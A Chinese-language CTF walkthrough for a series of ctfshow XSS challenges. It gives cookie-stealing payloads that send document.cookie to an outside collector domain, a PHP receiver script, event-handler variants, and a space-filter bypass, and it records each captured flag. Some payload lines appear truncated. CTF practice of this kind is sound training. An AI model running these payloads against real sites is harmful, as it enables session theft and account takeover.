反射型,可以在自己服务器上,写一个类似于将参数写到当前目录PHP的小脚本。
脚本具体内容如下:
$content = $_GET[1];
if(isset($content)){
file_put_contents('tmp/flag.txt',$content);
}else{
echo 'no date input';
}
开发者工具里,控制台,输入命令
alert(document.cookie)
之后出现弹窗,如下
显然不对,之后要想拿到管理员的这个弹窗里的flag
如果有自己私域的话,可以用上面代码然后使用下述payload,可以在tmp文件夹下看到flag.txt里有flag
注意,这里不能用自己127.0.0.1,需要转发cookie才能看到,所以要用私域。
<script>
document.location.href='http://这里是私域名/316.php?1='+document.cookie
script>
这个需要一个域名,去这个网站可以注册一个临时域名:CEYE
之后输入如下payload,然后生成链接,之后便可在那个网站里收到http响应。
<script>
var img=document.createElement("img"); img.src="http://gvipx6.ceye.io/"+document.cookie;
script>
这个payload的意思如下:
var img=document.createElement("img"); //这个是生成一个img对象
img.src="http://gvipx6.ceye.io/"+document.cookie;
/*是加载一张图片加上当前的cookie这里我们填写的是接收平台的地址,所以带上document.cookie去加载地址然后平台会有记录cookie的值,ctf平台会有个虚拟机器人,充当admin身份,每隔一段时间点开网站它一点开就会加载payload,发送它自身的cookie在那个框内输入那个标签输进去,网站一加载就执行了我们输入的xss代码然后他自己会发送cookie
*/
话说这个网址的虚拟机器人充当admin身份,可以直接查看http,上面的php代码没有用到。
之后便得到了flag
ctfshow{09df5968-f68b-423e-b12f-7b8fce03d73f}
使用xss平台:https://xss.pt/xss.php
参考这个博主师傅的方法:使用XSS Platform解决XSS题目
<script>var img=document.createElement("img"); img.src="http://....ceye.io/"+document.cookie;script>
<script>window.open('http://....ceye.io/'+document.cookie)script>
<input onfocus="window.open('http://....ceye.io/'+document.cookie)" autofocus>
<svg onload="window.open('http://....ceye.io/'+document.cookie)">
<iframe onload="window.open('http://....ceye.io/'+document.cookie)">iframe>
5. body
<body onload="window.open('http://....ceye.io/'+document.cookie)">
看题目这里,发现它过滤了。
输入316题的payload,发现没有任何东西。
由此可知,可能是过滤了
<body onload="window.open('http://gvipx6.ceye.io/'+document.cookie)">body>
写入之后,点击生成链接之后,出现了此界面,有代码201可知,注入成功,看一下ceye的网址上http request
出现了flag
本题的flag为
ctfshow{47df6a6c-2ce2-4786-b8b8-985289cff2fd}
和上一个题一样,输入payload
<body onload="window.open('http://gvipx6.ceye.io/'+document.cookie)">body>
出现201代码
打开ceye网站,看到flag
flag如下:
ctfshow{d7410f6b-2110-4aa2-81c7-3f0d80ac157f}
和之前一样,构造payload
<body onload="window.open('http://gvipx6.ceye.io/'+document.cookie)">body>
ctfshow{30eb2d6e-e25b-4d48-a214-a26a7defd9ec}
如之前的题,构造一样的payload,生成链接
<body onload="window.open('http://gvipx6.ceye.io/'+document.cookie)">body>
点击生成链接之后,发现没有反应,发现这个题是过滤了空格
一般空格被过滤有如下替换方法
之后修改payload,把空格
替换成/**/
,变成如下payload,两个都可以
body>
body>
ctfshow{9dbd340c-ba6f-4a10-88b7-d5ed49f7a671}
和上一个题一样
构造payload
body>
ctfshow{ea096bdf-2c6b-4ca5-a8ed-e0c77e6eaeef}
构造payload
body>
ctfshow{0cd32425-ed6b-47d9-8c0d-9e9d4d5d4648}
和上题一样的payload,也是过滤了空格
body>
ctfshow{7a355fe9-775c-4918-a1d6-d15ca2b53148}
和上题一样的payload,也是过滤了空格
body>
ctfshow{2656346c-f0b8-4e33-98d3-17da7379e64d}
和上题一样的payload,也是过滤了空格
body>
ctfshow{e46cfdf8-1926-476b-ac15-7a790472015f}
和上题一样的payload,也是过滤了空格
<body/onload="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>
ctfshow{7aa1a537-36af-4162-91f4-d38ac4a75d88}